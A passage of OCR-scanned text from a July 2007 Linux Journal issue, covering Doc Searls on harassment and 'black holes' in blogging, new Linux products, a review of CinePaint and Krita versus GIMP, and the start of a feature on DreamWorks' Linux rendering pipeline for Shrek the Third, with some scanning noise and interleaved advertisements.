Dropping it into the script, the key block that both dis¬ plays the image, scaled, and keeps track of when we need to produce a new row in the table is: if [ $linecount -eq $maxperline ] ; then # new row of table Both of these constants can be tweaked as needed. The result? See Figure 1. Sweet! The full script is pretty cool. If you'd like to get a copy of it, please pop over to my site: www.intuitive.com/ wicked/imagedir.txt. Save it as index.cgi in an image directory on your Web server.H Dave Taylor is a 26-year veteran of UNIX, creator of The Elm Mail System, and most recently author of both the best-selling Wicked Cool Shell Scripts and Teach Yourself Unix in 24 Hours, among his 16 technical books. His main Web site is at www.intuitive.com, and he also offers up tech support at AskDaveTaylor.com. www.linuxjournal.com ju ly 2007 | 27 COLUMNS LINUX FOR SUITS W Beyond Blogging's ML Black Holes J DOC SEARLS With death threats and other terrorism, blogging ain’t what it used to be. The old sphere ain’t the same. And, the problem isn’t just incivility and flamage. On the evening of March 27, 2007, I was a guest speaker at an evening class called Marketing 203, at a local community college. I was there to talk about blog¬ ging. Partway into my talk, the teacher, operating the classroom's built-in computer, put Technorati up on a screen in front of the room. I told him to click on one of the Top Search links. There, in the first item at the top of the screen, was my name, associated somehow with "death threats". For me, that marked the beginning of the end of Blogging as Usual. And I don't think I'm alone. The original death threats were issued by an anony¬ mous coward in the lively comments section of the blog by a veteran game developer, book author and speaker at tech conferences. I'll call her Barbara. (I am not naming names other than my own, because this column will find its way to the Web, and I don't want search engines to associate any of those names with the controversy that followed or further smudge any party's already-muddied reputation.) The original comments didn't bother Barbara too much, but she found her fears moving over an edge when a number of especially nasty posts appeared at "blogs authored and/or owned by a group that includes prominent bloggers...", she said. I know the people who put up those blogs. They are friends of mine. I also know why they put those blogs up: to commit satire, lampoonery and other acts of fun at the (presumably tolerable) expense of familiar figures in the blogosphere. But, things got out of control. Rather than making fun, they made fear. A few of the posts were not only misogynistic and cruel, but threatening as well—or could easily be seen that way. None of the worst posts were made by people I knew (at least not that I know of), but guilt was implied by context and association. Long story short, things became FUBAR, and the sites were taken down. Meanwhile, Barbara wrote in her blog post that she would not come to the conference where she was slated to speak that week, and that she was zero-basing her future in an on-line world where she had been a prominent fixture: I do not want to be part of a culture—the Blogosphere—where this is considered acceptable. Where the price for being a blogger is kevlar-coated skin and daughters who are tough enough not to have their "widdy biddy sensibilities offended" when they see their own mother Photoshopped into nothing more than an objectified sexual orifice, possibly suffocated as part of some sexual fetish. (And of course all coming on the heels of more explicit threats.) I do not want to be part of a culture where this is done not by some random person, but by some of the most respected people in the tech blogging world. People linked to by A-listers like Doc Searls.J do not want to be part of a culture of such hypocrisy.... For more than a week following Barbara's original post, her name was the top search term on Technorati. To put this in context, consider the fact that Technorati—the blogosphere's main search engine— began as a hack by David Sifry in the fall of 2002 to help the two of us write a feature on blogging that ran in the January 2003 issue of Linux Journal. The whole thing lived on a Penguin Computing box in David's base¬ ment, serving the world through a DSL line. Now David has lost count of Technorati's servers, and the engine's traffic rank on Alexa now averages in the top 200, worldwide. In the US today (late April 2007) it's #59— out of billions. According to Technorati's stats, there are now more than 72 million blogs, with 120,000 more coming on-line every day. No wonder the controversy became named after Barbara, starting minutes after her post went up. No wonder she's put up only one post since: a "best of" collection of the informative and lighthearted graphics that were her specialty. As of right now (a couple months before you read this), Barbara is done as a blogger. I hope she comes back and starts to contribute again, but I can under¬ stand why she might not. The old 'sphere ain't the same. And, the problem isn't just incivility and flamage. As old hands know, that's been around for the duration and will never go away. The problem is blogging itself. Somehow it's becoming more like TV and less like what made it great to begin with. A few years back, Don Norman said, "Microsoft is a conversational black hole. Drop the subject into the middle of a room and it sucks everybody into a useless place from which no light can escape." Microsoft doesn't have that kind of gravity anymore, thank goodness, but the black hole metaphor still serves for any subject with an event horizon that exceeds the conversational 28 july 2007 www.linuxjournal.com space that surrounds it. This controversy became one of those holes. I realized after several posts that there was no way I could blog about it without doing more harm than good—for two reasons. One was the nature of the controversy itself. Once something becomes a Hot Topic, opinions get polar¬ ized, and people start forming buzzy hives around one position or another. The other was the persistent absence of hard facts. Nobody knew who made the original death-threat comments. And, nobody knew who made the most offensive posts, some of which appear to have come from a familiar blogger who insisted that his identity was hijacked while his servers were trashed. (He did that insisting through an e-mail to me that he asked me to share with the rest of the world.) Nobody was willing to press him hard on the issue or to mount a criminal-grade investigation. Meanwhile, the posts piled up until the ratio of opinion to fact verged on the absolute. At some point I came to realize that nothing I could say—no matter how insightful—would help if it took the form of opinion rather than facts. Three weeks later, I found myself in another hole, right after the Virginia Tech shooting. From the beginning of that event, it was clear that mobile phones were the technology in the best position to help the killer's targets help themselves and each other. As it happens, I knew about ways that mobile phones and ser¬ vices could be made to provide additional help in an emergency like this one. That's because I advise a company that provides cell phones and services to universities. These phones not only have features made to help in emergencies on campuses, but they are open for users to develop their own applications and other improvements. In e-mail conversations right after the shooting news broke, I advised this compa¬ ny to do the sensible thing and not pro¬ mote its "brand" or its services, but instead quietly to look for ways everybody could learn from the tragedy there. I didn't say any of that on my blog, or anywhere else in public print. But, I did say that stuff in a private e-mail to somebody who put that e-mail on his blog without asking me first. I called and asked him to take it down, which he did, but by then that cat was out of the bag. RSS feeds had gone Chip manufacturing, warehouse automation, and other throughput-intensive systems require processing of c-tree technology database ology makes www.faircom.com/go/7speed COLUMNS LINUX FOR SUITS Blogging is a kind of half bakery, falling somewhere between public e-mail (a way to write for "cciworld”) and polished journalism of the sort we write for print publications like this one. out. Another blogger published it, accusing me of tak¬ ing advantage of a tragedy to advance a commercial cause. (Although he said it in far less polite terms than those.) In a comment under that blog post, I said the republished post was a private e-mail that was never meant to be blogged. But the blogger left it up, as an act of snarky passive aggression. Then, several days after the shooting, NBC went public with the package of pictures and computer files mailed to it by Cho Seung-hui during a pause in his shooting ram¬ page. In a private e-mail exchange with a small circle of individuals, a thoughtful discussion followed—about whether or not NBC should have released the whole pile of files, once the police had said doing that was okay with them. I privately took the position that the files should be released. Others didn't. Discussion among individuals was civil, thoughtful. But after I blogged my opinion about the matter (offering full respect to other positions), darkness fell in two forms. First was dismissive nonconversation about the subject on other blogs. Second was the time-suck that the whole discussion turned into. In the midst of that, a reporter with NPR (also a blog¬ ger of far more prominence than my own) asked me if I'd be willing to share my thoughts about the Cho files in an interview. So I did. As an old Radio Guy, I thought I did a pretty good job. So did the interviewer/blogger. But did I shed much light? Did anybody? I don't know. When I heard myself on the radio, I had to admit that I sounded like yet another talking head. As I look around the blogo- sphere for illumination on the matter, I can't find much. Did we learn anything? Not much, I don't think. When blogging came along, I welcomed it as a big advance over other public discussion systems, such as Usenet and IRC—for three reasons. First, nearly every blog is controlled by an individual. It is that person's soap box, pulpit, personal journal. Second, blogs are syndicated, meaning that others can subscribe to their feeds, or to searches for subjects that might lead readers to a blogger's original thinking on a subject. And third, blogging seems especially well suited to what I called "rolling snowballs". That's what happens when a good idea gets rolling and then is enlarged by others who add to it. Blogging also has a provisional quality. You don't have to hold down one corner of a "debate" like the yapping faces on CNN and Fox News. You can think out loud about a subject that other people can weigh in on. You can scaffold an understanding, raise a barn where new knowledge can hang out while more formal accommoda¬ tions are built. In this last respect, blogging is a lot like open-source code development. Anybody with something useful to contribute is welcome to come in and help out. As with open-source code development, the results of idea-build¬ ing on blogs have NEA qualities: Nobody owns them, Everybody can use them, and Anybody can improve them. This provisional quality relieves blogging of the need to put everything in final draft form, which can be labor- intensive. Blogging is a kind of half bakery, falling somewhere between public e-mail (a way to write for "ccworld") and polished journalism of the sort we write for print publications like this one. In fact, lots of ideas I've written about in Linux Journal were half-baked first on my blog. Software as construction, the Live Web, independent identity, the Giant Zero, VRM and The Because Effect are a few that come to mind. But, it ain't working like it used to. The black holes are getting more common and sucking up more time. The old leverage also seems to be drooping a bit. And, I don't think it's just me. In fact, I see myself as a kind of controlled study. That's because my blog hasn't changed much in the 7.5 years it has been running. The "A-list" label (one I have never liked) owes more to longevity and reputation than it does to actual popularity. Or perhaps it applies to a relative pop¬ ularity that has long since faded to B-list or lower status. Daily visitor traffic has stayed in the same range—a few hundred to a few thousand—since soon after the turn of the millennium. Back then, those were big numbers. Today, they're peanuts next to BoingBoing, Kos, Huffington Post and lots of other blogs. In other words, the blogosphere has grown while my readership has not. At one point, my blog was as high as #9 on the Technorati Top 100. Today, it's #609. I don't regard that slide as a Bad Thing. In fact, I think having a limited but persistent appeal is a Good Thing. Judging from e-mails, mentions and inbound links, my blog always has been read by a lot of very thoughtful, engaging and interesting people. But, I sense a decline of influence and involvement, and a rise in barely civil exchanges that fail to cause much progress. Maybe that's me. Or, maybe it's just the ratios. Hey, even thoughtful, engaged and interesting people have a lot more places to go on the Web, every day. Meanwhile, my work as a fellow at Harvard's Berkman Center and UCSB's CITS is getting more rewarding every day. Real progress is being made on projects at both places. And, both are doing a better job of spilling ideas and material into my work as an editor here at Linux Journal. The contrast between those activities and the Olde Blog are getting higher. I can still find a lot of interesting stuff on Technorati, but I feel like I need to navigate my way past more and more noise thrown off by popular culture. (Disclosure: I'm on the company's advisory board.) Now I'm looking for something that will do for blog¬ ging what blogging did for Usenet: move past it in a sig¬ nificant way. We need a better way for thinking people to share ideas and improve the world. What would that be? It might help to think of the answer as the opposite of a black hole.H Doc Searls is Senior Editor of Linux Journal. He is also a Visiting Scholar at the University of California at Santa Barbara and a Fellow with the Berkman Center for Internet and Society at Harvard University. 30 july 2007 www.linuxjournal.com O'GlTAUft- www.LinuxJournal.com/ArchiveCD The 1994-2006 Archive CD, back issues, and more! NEW PRODUCTS r Tumbling Dice's Fedora coLinux If the virtualization scene makes you giddy, have a good cackle over Tumbling Dice's new Fedora coLinux, a customized coLinux distribution that runs Fedora Core virtually under Microsoft Windows. Tumbling Dice claims easier installa¬ tion than the standard coLinux, a complete manual, ease of use and full Fedora Core functionality. Target customers for the product include "techni¬ cally competent 'hobbyists'", who don't want the overhead of a dual-boot solution, and companies and institutions with spare computing resources to deploy for large-scale applications (such as databases, simulations and so forth). The software/manual combo are available for download from the firm's Web site. Also see the coLinux link below for more info on the project. www.tumblingdice.co.uk and colinux.wikia.com Addison-Wesley's Professional Ruby Series At about a one-a-month clip, and under the umbrella of its media- agnostic Professional Ruby Series, Addison-Wesley is cranking out inter¬ esting new resources for Ruby and Ruby on Rails developers. One of the series' new products is Rails Routing, a Digital Short Cut (PDF download) from author David Black on taking full advantage of the Rails routing system. Another new product is the book RailsSpace: Building a Social Networking Website with Ruby on Rails, from Michael Hartl and Aurelius Prochazka. RailsSpace "helps developers learn to build large-scale, industrial-strength projects in Ruby on Rails by developing a real-world application: a social networking Web site a la MySpace, Facebook, or Friendster". Finally, RailsSpace also features a companion video-training product, dubbed RailsSpace livelessons, due out in July 2007. www.awprofessional.com/ruby livelessons® RailsSpace Ruby on Rails Tutorial Atiinbui PfrQchaiji a Solid Information Technology and Proven Scaling's DorsalSource The blogs remain alive with the sound of grumbling after MySQL stopped providing binaries of the community edition for some versions of its popular database. To appease the database faithful, the firms Solid Information Technology and Proven Scaling teamed up to create DorsalSource.org, a repository for updated binaries of MySQL and related products, such as sol id DB for MySQL. Platforms covered include Linux, Windows and Mac OS X. The site will be maintained and run by the community. www.dorsalsource.org CD Recycling Center of America The CD Recycling Center of America is not a new product per se but rather a means to trans¬ form our old products—compact discs—into new ones. The Center recycles "all components of compact-disc packaging, CDs and DVDs alike, including the disc, the case and the paper booklet". By recycling, you'll save energy and landfill space and reduce pollution, and your CDs will become raw materials for a new generation of products. Center founder Bruce Bennett says, "If a product requires manufacturing into a man-made item that basically will not naturally recycle itself, then man has the duty to find, collect, recycle and reuse as much of that product as new products in any way he can. Compact discs are one of these man-made products." We couldn't have said it more eloquently ourselves. www.cdrecyclingcenter.com (s> CD Recycling Center 32 | july 2007 www.linuxjournal.com 1 NEW PRODUCTS Wolfram Research's Mathematica Do all of us a favor by holding a cup under your drool-leaking mouth as you read on, because Wolfram Research has released Version 6 of its flagship Mathematica application. Mathematica 6, a powerful general computation environment for calculations, large-scale computations, complex program¬ ming and visualizing and modeling data, is the "most important advance in its 20-year history", says Wolfram, as well as "a whole new way of interact¬ ing with the world of data". Key new advances include dynamic interface creation; adaptive visualization; symbolic interface construction; improved automation of external data handling; final-quality presentation throughout the working process; built-in utilization of computable data sources; and the unification of graphics, text and controls. Mathematica 6 has 32- and 64-bit editions for Linux (SUSE, Red Hat, Fedora), UNIX, Windows and Mac OS X. www.wolfram.com © & g? @ e© ©s FiveRuns' RM-Manage and RM-lnstall The firm FiveRuns, maker of a popular systems management appli¬ cation, is busting out into new territory with its new Enterprise Management Suite for Rails, a series of applications for managing the full Rails application life cycle. The suite's first two offerings are RM-Manage and RM-lnstall, with more on the way. FiveRuns calls RM-Manage "the only Rails application management tool in the market today", helping to "monitor and manage the production performance of the Rails application". Meanwhile, RM-lnstall is a "tested, multiplat¬ form enterprise-ready Rails stack" that ensures that all of the parts (for example Ruby, Rails, MySQL, Apache and LightTPD) will work together during Rails development. FiveRuns points out that its Rails expertise comes from using it to build its original flagship application. RM-lnstall is a free download; RM-Manage is available on a subscription basis. www.fiveruns.com OrangeHRM On-Demand The range of corporate apps available to Linux users continues to mature with the recently released OrangeHRM On-Demand 2.1, a hosted version of OpenHRM's open-source human resources management solution for small and mid-size enterprises. OrangeHRM claims to be reaching parity with proprietary HRM solutions while offering "key pricing and development cycle advantages" due to open source. As a SaaS solution, On-Demand requires no in-house hardware or software and is subscription-priced based on duration and number of users. OrangeHRM's technology features a rich, Ajax-based interface, a lightweight LAMP architecture and open data standards based on HR-XML. Feature improvements in version 2.1 include easier employee-leave administration, improved employee search, user- defined employee IDs and enhanced reporting. The application is available as a free download from OrangeHRM's Web site and uses the GNU GPL open-source license. www.orangehrm.com rangeiiRM On-Demand Please send information about releases of Linux-related products to James Gray at newproducts@linuxjournal.com or New Products c/o Linux Journal 1752 NW Market Street, #200, Seattle, WA 98107. Submissions are edited for length and content. www.linuxjournal.com ju ly 2007 | 33 QUICK TAKES V Deep Images GIMP’s shallow history and two alternatives that aren’t as gimped as GIMP, dan sawyer I run a small multimedia studio and often do a number of jobs simultaneously, from sound engineer to producer. But, when the client calls go quiet, and no projects are pressing, I take time to indulge in my escapist passion: photography. I keep Photoshop at the ready in case of emergencies, but I don't use it if I don't have to. Most of my machines run Linux, and I prefer it that way. I love the variety of CLI tools for batch processing in ImageMagick, and PanoTools (though I doubt I'll ever master all their capabilities). I love the UNIX philosophy of creating larger applications by knitting together a suite of modular pro¬ grams that do one thing and do it well. I love that RAW image processing is simple and efficient with UFRAW, which saves to high bit-depth formats and preserves one of the great advantages of using RAW for texture and HDRI work. Most of all, I love the pixel pushers—those end-user programs for editing raster graphics. For years now, I've been using The GIMP for the most of my postprocessing work. GIMP frequently may be maligned for its un-Photoshop-like interface and its utilitarian approach to filters, but I've grown to love it precisely for these reasons. During its 2.x release cycle, GIMP has outgrown a lot of its early awkwardness. It is now more memory-efficient, and its new fea¬ tures, such as improved font handling, keep it looking fresh and chipper. But, under the hood, it truly is becoming gimpy, because its core is hobbled by design. The problem started as a political one. Once upon a time, Rhythm and Hues submit¬ ted a set of patches to GIMP that gave it high-color depth capability (a necessity for retouching movies). But GIMP, still in the 1.x release series, didn't know what to do with it, and it rejected the patches out of hand. The patches were primitive and didn't seem important anyway. After all, Photoshop did¬ n't support such images then either, and no one really needed it. That decision proved remarkably short¬ sighted. There have since been a number of abortive attempts to replace GIMP's color engine with GEGL to handle high-depths, but so far it's been vaporware. In the intervening years, computing power comfortably chugged along the path of Moore's Law to Kurtzweil's Singularity, and some startling changes happened. Consumer equipment outgrew GIMP. First, GIMP can handle only 8 bits of con¬ trast per channel. There are 24 million possi¬ ble colors and 255 different potential levels of brightness. Although this looks wonderful on a computer screen compared to what we once saw, and although the sharpness and resolution of modern flat panels mean that they often look better than old CRTs or Aside from the basic GIMP feature set, CinePaint sports a proper color management system—the very thing whose absence renders GIMP inappropriate for professional and near-professional work. television, the fact remains that a contrast ratio of 255:1 is small, particularly compared to the thousands of gray shades that film reproduces and the hundreds of thousands that our eyes perceive. To put it bluntly, even at its best, color in the digital world has pretty much always sucked. That is changing. High-def video for¬ mats have a wider contrast ratio, using a 10-bit floating point rather than an 8-bit linear color format; one of the high-def formats, HDV, is priced to sell to more spendy consumers in the form of cam¬ corders from all the major manufacturers, starting at around $1,000. In the world of film and photography, high-quality film scanning has pushed the contrast resolution of a good drum scan higher still, into the realm of 16-bit float or 32-bit linear. Although that may seem irrele¬ vant to most end users, the corollary is not. Nikon, Canon and most of the other major manufacturers have priced Digital SLRs below $800, and almost all of these cameras allow users to shoot in RAW format. RAW formats are CCD data dumps—the three color sensors aren't interpolated, blended or processed like you would normal¬ ly expect. This is left up to users to do with their computers when they offload the images, which easily can run more than 10MB each. Most of the time, people shoot RAW and then process the images to ordi¬ nary JPEGs under the mistaken presumption that they're getting more bang for their buck, when in fact they're just creating more work for themselves. JPEG compression is, after all, JPEG compression. JPEG is a lossy, 8-bit format, period. JPEGs can look stun¬ ning, and most of the time they are perfectly adequate, even for some print jobs. But they do not preserve the advantages to shooting RAW, which are twofold: 1. No lossy compression. 2. Higher bit depths. How much higher the bit depth varies by camera between 10-bit float and 16-bit linear. These higher depths are desirable for shooting light maps or textures for use in 3-D programs. The broader contrast range of these images means far subtler color repro¬ duction, smoother exposure curves, more detail in the shadows and less blowout in the highlights than ever before. But, in order to use this extra detail, you have to preserve it. In order to preserve it, you have to be work¬ ing with high-depth file formats. So, GIMP won't do. Thankfully, there are some excellent alternatives. CinePaint CinePaint is the descendant of the Rhythm and Hues fork of The GIMP, and it expands on the broad file format compati¬ bility of that branch. In the intervening years, it has grown into a dependable scratch-and-dust removal program for motion picture films and is now pushing 34 | july 2007 www.linuxjournal.com Boots Linux in 1.69 seconds! Figure 1. CinePaint has a Ul similar to GIMP. toward becoming a proper compositing system. It is currently under heavy devel¬ opment in its Glasgow branch, while the original branch is more or less stable and being updated only for bug fixes and small feature additions. Aside from the basic GIMP feature set, CinePaint sports a prop¬ er color management system—the very thing whose absence renders GIMP inap¬ propriate for professional and near-profes¬ sional work. There is also a flipbook player for tracking changes across animations, write-out to Cineon and OpenEXR and an excellent plugin for assembling High Dynamic Range images from regular snap¬ shots (a process called bracketing). It is currently the only open-source GUI pro¬ gram for Linux that supports bracketing. The interface is familiar—any GIMP user will feel right at home—and its other fea¬ tures make it an indispensable part of any photographer's graphics toolbox (Figure 1). However, CinePaint's intended market is movie retouching, so its feature set for photographers is fairly limited beyond the basics and some of the impressive new features. Its early forking from GIMP and its radically different internals mean that GIMP plugins do not port easily to CinePaint, so casual users will find them¬ selves frustrated by what feels like a func¬ tionality hit. Further, it is difficult to com¬ pile and fairly crash-prone on some distros (this is part of the reason for Glasgow's move to FLTK, but that branch isn't yet usable). Even with these inconveniences, CinePaint is still a must-have tool, and as the project moves forward, it will hopefully become ever-more useful and stable. Krita Krita is the KOffice paint utility, and it's enough to make people rethink their dislike of KOffice (Figure 2). Even at first glance, it looks like a whole different animal than GIMP. Rather than floating windows, it starts in a single-pane, integrated view. Thankfully, there is salvation in the fact that Krita's design is modular: every panel and tool is dockable, making the user interface as con¬ figurable as you please. The differences don't end there—Krita's entire approach sets it apart. GIMP origi¬ nally was designed to give UNIX a way to deal with Web images, and it fulfilled this mission admirably for a long time. Krita, on the other hand, was designed with a different target in mind—it is aimed directly at graphics professionals. Built from the ground up on LCMS, Krita's 32-bit color management system is flanked by well-built, sophisticated tools for accessing it. It works in more than a dozen different colorspaces and converts between them cleanly, making it suitable for a broad range of professional graphics demands (CMYK and RGB are only the beginning). For print work, Krita has its TS-7300 High Security Linux FPGA Computer $219*yi $189 qtyio ° n 200 MHz CPU " Fanless, no heat sink, < 2 Watts * User-programmable Altera 2C8 Cyclone II FPGA » PC/104 expansion bus *10 COM ports, 55 DIO » 2 USB ports, 2 SD Card sockets * 2 10/100 Ethernets * Matrix keypad & LCD ports " VGA video 800x600 » 1.69 s Linux-based bootloader * Runs Debian, supports Real-Time " One piece metal enclosure setup provides 4 high-current GPIO, 4 ADC, 2 DAC, 1 CAN for$160 Design your solution with one of our engineers * Over 20 years in business a Never discontinued a product a Engineers on Tech Support a Open Source Vision a Custom configurations and designs w/ excellent pricing and turn-around time " Most products stocked and available for next day shipping See our website for options, peripherals and x86 SBCs QUICK TAKES mmm B*e Edt Yaw Jrwgic Layer Sdcit Fltti Iocts Scripts itttJoijs be Ip ua - j u . vhj □ip 4 a ■:> rr ^ V B * ss c s. 5 / ? sal p p / :f * -LZ. A loom Ho seiectiert ftaj ttf-bfc iml[ erflitf C*Twr pfiring accanjng w 13S4T-? iWt'. Select wpjc color prolie to add when pBEtfcig *rctn external Bppfc ifcions Chit da not use * color prdtte Qefajb Figure 4. Krita supports several color profiles. 36 | july 2007 www.linuxjournal.com The number of drawing tools is rivaled only by Photoshop, and there are a few nifty enhancements in this area where Krita outdoes the venerated veteran from Adobe. a bang-up job and often eclipse their GIMP counterparts. Krita also is still in the refinement stage, and its code is not well optimized. It has a high system overhead—it looks pretty, but it drags on the resources of even a well- equipped system. The adjustment layers don't require multiple copies of the same image in order to stack filters, so the load is lighter. Even so, the interface can lag, a lot. Unlike both GIMP and CinePaint, Krita doesn't yet have any animation capabilities, to say nothing of a flipbook. Finally, it doesn't yet support LDR bracketing to HDR—a consider¬ able drawback (though this feature is on the to-do list for future releases). Still, all told, Krita is an excellent pack¬ age. It is very capable as is, and it shows a lot of potential. Conclusion Although GIMP is useful, it's showing its age, and the time is coming soon when it either will adapt or be shuffled to the wayside by more capable tools. For the photographer working in Linux, as well as for the high- depth CGI artist, both Krita and CinePaint are welcome tools. Each is strong where the other is weak. As both programs continue to develop, we can expect great things from them—they have both proven themselves to be well-designed packages with deliberate and capable teams behind them. The odd mix of Darwinian competition and coopera¬ tion has given us a new generation of these tools, and they're ready to be used. Enjoy!* Dan Sawyer is the founder of ArtisticWhispers Productions (www.artisticwhispers.com). a small audio/video studio in the San Francisco Bay Area. He has been an enthusiastic advocate for free and open-source software since the late 1990s, when he founded the Blenderwars filmmaking community (www.blenderwars.com). Current projects include the independent SF feature Hunting Kestral and The Sophia Project, a fine-art photography book centering on strong women in myth. HDRI: Faking Film's High Bit Depth High Dynamic Range Imaging was originally developed for lighting 3-D scenes, as a way to capture the real-world range of luminescence, and has been a boon to realistic 3-D lighting work for many years. But, it has another use. By tone mapping the image, HDRI's wide contrast range can be repre¬ sented in 8-bit space to stunning effect—preserving details in the shadows and minimizing clipping in highlights. As this aesthetic became popular, several techniques have developed to create HDRIs from digital snapshots and then convert them for display on monitors or in print. Creating HDRI images from digital photographs requires Bracketed Exposure—taking a set of photos with different exposure settings to give a wider collective latitude than the camera natively allows (Figure A). Afterward, the bracketed images are combined into a single HDRI. Although this can be in the terminal, it's far easier with CinePaint's self-explanatory Bracket to HDR plugin (included in the package). Once created, the HDRI either can be turned into a light probe (for lighting a 3-D scene) or tone mapped for display and/or printing (Figure B). Figure A. A Set of Photos with Different Exposures Figure B. Using the Bracketed Exposures to Create the Perfect Picture Tone mapping interpolates an HDRI into 8-bit space without clipping the high and low ends—it compresses the image nonlinearly to preserve the details otherwise lost. The result is a much richer image than could normally be captured by 8-bit equipment. At the moment, tone mapping isn't available in CinePaint or Krita (although it is on Krita's to-do list). Instead, pfstools, a command-line suite of algorithms for configuring the interpolation curves, does the job. Fortunately, for those of us who don't like experimenting blindly in the terminal, a thoughtful soul has written a GUI that offers the full range of options available at the command line, with a preview window. The program, Qpfstools, along with an introduc¬ tion and tutorial, can be found here: theplaceofdeadroads.blogspot.com/2006/07/ qpfstmo-hdr-tone-mapping-gui-for-linux_04.html. www.linuxjournal.com ju ly 2007 | 37 DreamWorks Animation SHREK THE THIRD: LINUX FEEDS AN OGRE DreamWorks Animation pushes the limits of CG filmmaking with Linux. ROBIN ROWE All the big film studios primarily use Linux for ani¬ mation and visual effects. Perhaps no commercial Linux installation is larger than DreamWorks Animation, with more than 1,000 Linux desktops and more than 3,000 server CPUs. "For Shrek 3, we will consume close to 20 million CPU render hours for the making of the film", says DreamWorks Animation CTO Ed Leonard. "Each of our films continues to push the edge of what's possi¬ ble, requiring more and more compute power." Everyone knows Moore's Law predicts that compute power will double every one and a half years. A lit¬ tle known corollary is that feature cartoon anima¬ tion CPU render hours will double every three years. In 2001, the original Shrek movie used about 5 mil¬ lion CPU render hours. In 2004, Shrek 2 used more than 10 million CPU render hours. And in 2007, Shrek 3 is using 20 million CPU render hours. "At any given time, we are working on more than a dozen films", says Leonard. "Each of those films has its own creative ambition to push the limits of CG filmmaking." DreamWorks Animation employs about 1,200 people, with about two-thirds in their Glendale studio and the rest in their PDI studio in Redwood City linked by a 2Gb network. (Note that DreamWorks Animation, a publicly trad¬ ed company led by Jeffrey Katzenberg, isn't Steven Spielberg's DreamWorks live-action that merged with Paramount recently.) "There were many specific technical advance¬ ments on the movie, including advancements in hair, clothing, costuming and crowds as well as bringing the secondary character animation [crowds] to a whole new level of performance", says Leonard. About 350 people are working on Shrek 3, with about 300 at PDI and 50 in Glendale. 38 | july 2007 www.linuxjournal.com FEATURE Shrek the Third Long Flowing Hair and Running in Long Dresses In Shrek 3, Fiona transforms a bevy of classic "rescue me" fairy-tale princesses into action figures to defend the kingdom of Far Far Away from usurper Prince Charming. How to convert Sleeping Beauty's narcolepsy into a weapon or get neat-freak Snow White to dirty her nails fighting bad guys seem like minor challenges compared to the technical obstacles involved. "DreamWorks Animation R&D provides the tools, libraries and software infrastruc¬ ture for the creation of world-class CG films", says Leonard. "We develop and support a suite of application tools for our films, including a proprietary animation system, lighting, rendering and composit¬ ing tools, and effects tools for things like fire, water, clothing and crowds, to name just a few." Leonard estimates they have several millions lines of custom code, mostly written in C (legacy code) and C++ (newer code). Andrew Pearce leads the DreamWorks Animation R&D group based at PDI. "Long hair may be the biggest technology advance in Shrek 3 ", says Pearce. "In all of animation in the past you've seen long hair very little." "It took months to do the hero-hair flick on Shrek 2", notes Visual Effects Supervisor Philippe Gluckman. "Hair is everywhere in Shrek 3." How hair glides across a shoulder looks easy but is very complicated to model. "The way the hair moves had to become much more automated", says Gluckman. There isn't time for animators to position each hair by hand. "With clothing we have more interac¬ tions, including ripping of the cloth", says Pearce. "Fast motion is always difficult. In the real world, there's only so fast you can move, but nobody has told our animators that. If you went from 0 to 500 mph in one second, you'd probably leave some clothing behind in the real world." Animation reality is as much art as physics. It's Getting Crowded in Here It isn't just the challenge of animating some clothing, it's how much clothing. "We have a lot more characters in the same shot", notes Shrek 3 Co-Director Raman Hui. "Shrek 3 has a huge cast with 48 characters", says Shrek 3 Director Chris Miller. "We have huge crowd scenes with 40 to 50 characters on a stage and 2,500 in the audience." "The challenge in crowds is each character needs to look different", says Pearce. "If we had to do one setup for each character, that would take too long", says Character TD Supervisor Lucia Modesto. "We take a generic character and warp that char¬ acter. We have Man A, Man B and Woman. The big variation you get in a crowd scene is the silhouette of hair and hat. For characters in Shrek, we had one generic man with three variations, now that's 16. Women went from five to 25 variations and 13 hairstyles." A lot of work is done to make known characters like Shrek look better, but without looking different. Let There Be Global Illumination "Global illumination is something lighters everywhere love", says Pearce. "That bounces the light off all the surfaces." The challenge is global illumination, often implemented as ray tracing, can be expen¬ sive. "It's brilliant for architecture fly- throughs where the lighting is static and baked onto the building", says Pearce. "Our problem is everything in Shrek 3 is moving." The DreamWorks software "bakes" (calculates ahead of time) what's not moving and then tries to do the parts that are moving efficiently. "Global illumi¬ nation is in almost every scene in Shrek 3 ", says Pearce. "Scene complexity is what caps us now, such as forests. Ray tracing there is not reasonable." Advances in Linux computing power and multicore chips and software are pushing render capability higher and higher. "We use global illumination like a DP does", says Art Department Production Designer Guillaume Aretos. "We use bounce cards and colored bounce cards. The moviemaking process for us is very Figure 1. Our print copy of this photo surely doesn’t do justice to the astounding detail in the hair of the characters. (Photo credits: all Shrek photos courtesy of DreamWorks Animation LLC.) Figure 2. Donkey with Shrimp Skewers on Fire—Final Lit Version of the Scene. 40 | july 2007 www.linuxjournal.com Figure 3. Storyboard: a Story Artist’s Rendition of the Scene Figure 4. Layout: the Layout Artist’s Blocking of the Camera Moves and Character Poses close to live action where we use the light that bounces. Shrek 2 was a south of Italy feel, kind of Beverly Hills turned into Italy." Shrek 3 moves away from the eter¬ nal spring of first two movies, with a more northern European look. "It's very hard to get an overcast effect with bouncing back¬ light", says Aretos, "and bright light shin¬ ing through dark clouds." "I'm the head of layout", says Nick Walker, "which makes me the DP." Layout is the group that figures out where the virtual actors will stand in virtual sets. "Shrek is seven feet tall and all torso", says Walker. "Shrek could swallow Fiona's head when moving in for a kiss. Puss n' Boots and Donkey, the two sidekicks, are different sizes. It's difficult to get a two-shot." The Shrek 3 Linux Pipeline The production moves from story and con¬ cept artwork into 3-D modeling and eventu¬ ally render. DreamWorks Animation uses the popular Linux Maya commercial package for 3-D modeling. Layout positions the charac¬ ters in the scenes and determines overall lighting. Models are "rigged" with internal skeletons by the Character TDs, then given to the scene animators. Because of the com¬ plexity, Shrek 3 animators were assigned in pairs to each of the hundreds of scenes. In the past, it was one animator per scene. Lighting and any special effects are added, such as cloth or flames. Then, the scene is rendered frame by frame on a 3,000+ CPU Linux renderfarm. Each frame is assigned to a different node of the renderfarm by grid software (using Platform LSF, a commercial Linux pack¬ age), so that many frames can be output simultaneously. The frames are edited into a movie using Avid software (not on Linux). Early in the process, hand-drawn storyboard images are scanned, and a scratch audio track is edited together creating a rough video representation of the movie. As each sequence is completed, it replaces the rough storyboard footage, building the fully ren¬ dered movie scene by scene. "The fact that our main production pipeline is all on Linux is pretty interest¬ ing", says head of Production Technology Darin Grant. "We've been on Linux for years, but I'm still amazed. Looking back, when using Linux was a radical concept for Digital Domain's renderfarm during Titanic, it wasn't that long till the industry moved toward wholehearted adoption." The studio Digital Domain, where Grant formerly worked, built the first Linux ren¬ derfarm for Titanic (released in 1997). Grant now works 